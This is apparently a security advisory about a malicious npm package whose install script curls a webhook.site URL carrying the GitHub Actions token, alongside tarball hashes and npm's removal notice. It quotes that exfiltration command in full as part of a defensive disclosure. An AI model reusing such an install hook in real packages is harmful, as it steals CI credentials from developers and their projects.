The tarball has three files. index.js exports a function that returns the string \"hello\", and README.md is an unedited template for a package named @your-scope/hello-example. The package name has nothing to do with the code.\n\npackage.json declares an install script, which npm runs on every install:\n\necho \"hey hey hey hoooo\" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}\n\nThe script calls a webhook.site URL with a path segment meant to carry GITHUB_TOKEN, the token GitHub Actions gives to workflow runs. The path segment \"workfloou\" also points at CI workflows. The token is written in GitHub Actions expression syntax (${{ }}), which sh and bash reject as a bad substitution, so on POSIX shells the curl command most likely does not run. The intent is to send a CI credential to a third-party endpoint at install time.\n\nTarball sha256: 0ca2a83f6815ad479d01157be6a64e8c544e99beccef3b8583c89b4f0422bc6a\nTarball sha1: 2e9267199fecadd8601284a4728ea4b08ff3ba0a\n\nnpm removed the package on 2026-10-20, and the name now holds npm's 0.0.1-security placeholder.\n\n---\n_-= Per source details.

On `npm install` this sends the CI/installer GitHub token to an anonymous third-party request-bin that is unrelated to the publisher. The shipped code is otherwise a trivial `hello()` stub and the package name (`unicode-title-normalizer`) and description (`Says hello.`) do not correspond to the shipped functionality — the only operative behavior is the install-time credential exfiltration. The GitHub-Actions-style `${{GITHUB_TOKEN}}` templating indicates the payload is designed to detonate inside a GitHub Actions workflow where the token expands to a live CI credential. Package shape is consistent with a typosquat/dependency-confusion lure.\n\n## Source: ghsa-malware (1f059f91bbee6e3b554765f1bbb1abb55ff9cbbb122877db25b00f88ab4f26f7)\nAny computer that has this package installed or running should be considered fully compromised.
